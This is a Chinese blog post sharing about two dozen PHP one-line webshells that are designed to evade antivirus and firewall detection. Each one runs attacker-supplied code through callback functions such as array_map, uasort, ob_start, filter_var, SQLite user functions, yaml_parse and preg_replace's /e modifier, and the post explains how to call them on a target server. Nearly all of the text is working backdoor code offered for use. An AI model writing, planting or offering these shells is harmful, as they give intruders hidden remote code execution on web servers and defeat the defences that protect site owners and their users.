分享一些无特征PHP一句话

分享些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。(少部分一句话需要php5.4.8+、或sqlite/pdo/yaml/memcached扩展等)
原理:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
所有一句话使用方法基本都是:
http:// target/shell.php?e=assert 密码pass
 
01
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);
02
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);
03
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, $e);
04
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
05
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
06
$arr = new ArrayObject(array('test' => 1,  $_REQUEST['pass'] => 2));
$
arr->uksort('assert');
07
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($
arr, $e, $_POST['pass']);
08
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($
arr, $arr2, $e);
09
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
10
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
11
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
12
echo preg_filter('|.*|e', $_REQUEST['pass'], '');
13
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
14
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
15
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function($e, $_REQUEST['pass']);
16
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
17
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
19
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$
db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1,  $_REQUEST['pass'], SQLITE3_TEXT);
$
stmt->execute();
20
$str = urlencode($_REQUEST['pass']);
$yaml = <<<EOD
greeting: !{$
str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
21
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
23
mb_ereg_replace_callback('.+', create_function(' $arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
24
$iterator = new CallbackFilterIterator(new ArrayIterator(array( $_REQUEST['pass'],)), create_function('$a', 'assert( $a);'));
foreach ($
iterator as $item) {echo $item;}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值